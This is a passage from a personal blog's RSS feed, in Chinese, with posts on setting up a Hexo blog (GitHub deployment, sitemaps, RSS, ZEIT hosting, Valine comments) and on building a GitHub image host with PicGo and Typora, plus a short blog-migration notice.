&lt;p&gt;id_rsa.pub复制到github—&gt;setting—&gt;SSH keys&lt;/p&gt;
&lt;p&gt;下面命令检查成功与否&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh -T git@github.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;部署到github&lt;/h4&gt;
&lt;p&gt;_config.yml文件打开，最下面修改&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Docs: https://hexo.io/docs/deployment.html
deploy:
  type: git
  repository: git@github.com:githubname/githubname.github.io.git
  branch: master
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装deploy-git&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm install hexo-deployer-git --save
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 清除生成
hexo clean
#生成静态文件
hexo g
#部署到github
hexo d
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;添加站点地图&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;npm install hexo-generator-sitemap --save #sitemap.xml google
npm install hexo-generator-baidu-sitemap --save #baidusitemap.xml百度
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在&lt;code&gt;themes\next\layout\_partials\head.swing&lt;/code&gt;中添加百度站长验证代码&lt;/p&gt;
&lt;p&gt;谷歌在&lt;a href=&quot;https://search.google.com/search-console&quot;&gt;https://search.google.com/search-console&lt;/a&gt; 添加站点信息&lt;/p&gt;
&lt;p&gt;_config.yml 添加&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sitemap:
path: sitemap.xml
baidusitemap:
path: baidusitemap.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;RSS&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;npm install hexo-generator-feed

###_config.yml

plugins: hexo-generator-feed
#Feed Atom
feed:
    type: atom
    path: atom.xml
    limit: 20
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;zeit托管&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;为什么用zeit?&lt;/p&gt;
&lt;p&gt;github国内访问相对较慢，所以直接托管到了zeit上面。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;注册&lt;/h3&gt;
&lt;p&gt;通过&lt;a href=&quot;https://zeit.co/login&quot;&gt;ZEIT&lt;/a&gt;使用github登陆&lt;/p&gt;
&lt;h4&gt;导入&lt;/h4&gt;
&lt;p&gt;Import Project 导入github博客仓库。&lt;/p&gt;
&lt;h4&gt;部署&lt;/h4&gt;
&lt;p&gt;接着全部默认即可。&lt;/p&gt;
&lt;p&gt;最后生成一个xxx.now.sh域名&lt;/p&gt;
&lt;h3&gt;域名修改&lt;/h3&gt;
&lt;p&gt;cname 添加记录绑定自己域名&lt;/p&gt;
&lt;p&gt;详细介绍可以参考&lt;a href=&quot;https://vercel.com/docs&quot;&gt;帮助文档&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;valine&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;注册&lt;a href=&quot;https://leancloud.cn/&quot;&gt;LeanCloud&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;创建新应用&lt;/li&gt;
&lt;li&gt;设置 应用key 查看APP ID APP KEY&lt;/li&gt;
&lt;li&gt;安全中心添加博客域名&lt;/li&gt;
&lt;li&gt;修改主题的配置文件添加id 和 key&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>github图床搭建(picgo+typora)</title><link>https://minhal.me/blog/github-picgo-typora</link><guid isPermaLink="true">https://minhal.me/blog/github-picgo-typora</guid><description>GitHub 图床搭建指南</description><pubDate>Thu, 07 May 2020 20:22:12 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;最开始，博客的图床是随便在百度找的，后来发现一些小图床平台不稳。
换了七牛云，用来用去。还是觉得github免费香。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;github仓库搭建&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;直接在gihub新建一个仓库，但特别注意是公开仓库。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20200503215527.DXVuiePU.png&amp;#x26;w=904&amp;#x26;h=586&amp;#x26;f=webp&quot; alt=&quot;仓库&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;然后在github个人设置生成token，记得保存token&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20200503215528.BsoSzudM.png&amp;#x26;w=260&amp;#x26;h=654&amp;#x26;f=webp&quot; alt=&quot;token&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20200503215529.CEMqbZZB.png&amp;#x26;w=1151&amp;#x26;h=302&amp;#x26;f=webp&quot; alt=&quot;xxx&quot;&gt;&lt;/p&gt;
&lt;h2&gt;picgo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;picgo直接到&lt;a href=&quot;https://github.com/Molunerfinn/PicGo/releases&quot;&gt;https://github.com/Molunerfinn/PicGo/releases&lt;/a&gt;下载安装&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;接着到图床设置—&gt;github图床设置。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20200503173826.Cw-qNBQV.png&amp;#x26;w=613&amp;#x26;h=395&amp;#x26;f=webp&quot; alt=&quot;sz&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;仓库名为ID/仓库名&lt;/li&gt;
&lt;li&gt;分支默认master(github现在默认分支可能为main)&lt;/li&gt;
&lt;li&gt;token之前申请的&lt;/li&gt;
&lt;li&gt;路径可以自己设置&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自定域名可以使用jsdelivr加速，设置方法&lt;a href=&quot;https://cdn.jsdelivr.net/gh+%E7%94%A8%E6%88%B7id+%E4%BB%93%E5%BA%93%E5%90%8D&quot;&gt;https://cdn.jsdelivr.net/gh+用户id+仓库名&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;typora设置&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;文件—&gt;偏好设—&gt;图像&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20200503174300.Cb1X_Ska.png&amp;#x26;w=767&amp;#x26;h=512&amp;#x26;f=webp&quot; alt=&quot;设置&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;上传服务器设定，PicGo(app)&lt;/li&gt;
&lt;li&gt;PicGo路径设置为自己的picgo软件路径。&lt;/li&gt;
&lt;li&gt;设置完成验证图片上传是否可以成功&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;后记&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;这个方法使用后，可能导致你的github工作日志一片绿。(经常上传图片)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;可能还有一个问题，这个属不属于github仓库滥用呢。v2ex有朋友询问了官方。贴上官方回信。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Hi Haoxun Zhan,&lt;/p&gt;
&lt;p&gt;Thanks for your question! We&apos;ve reviewed your project and, in addition to uploading files, it appears to assist in generating rawgit URLs. Is that correct?&lt;/p&gt;
&lt;p&gt;If that&apos;s the case, your project doesn&apos;t appear to violate GitHub&apos;s Terms of Service, though you may want to check in with the owner of rawgit if you haven&apos;t already done so.&lt;/p&gt;
&lt;p&gt;Of course, any individual who decided to use your code would be responsible for making sure their usage and content didn&apos;t violate our Terms.&lt;/p&gt;
&lt;p&gt;Please let me know if you have any other questions.&lt;/p&gt;
&lt;p&gt;Best,
Elizabeth&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>hello word</title><link>https://minhal.me/blog/hello-word</link><guid isPermaLink="true">https://minhal.me/blog/hello-word</guid><description>博客迁移记录</description><pubDate>Thu, 07 May 2020 10:56:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;博客再次迁移！&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item></channel></rss>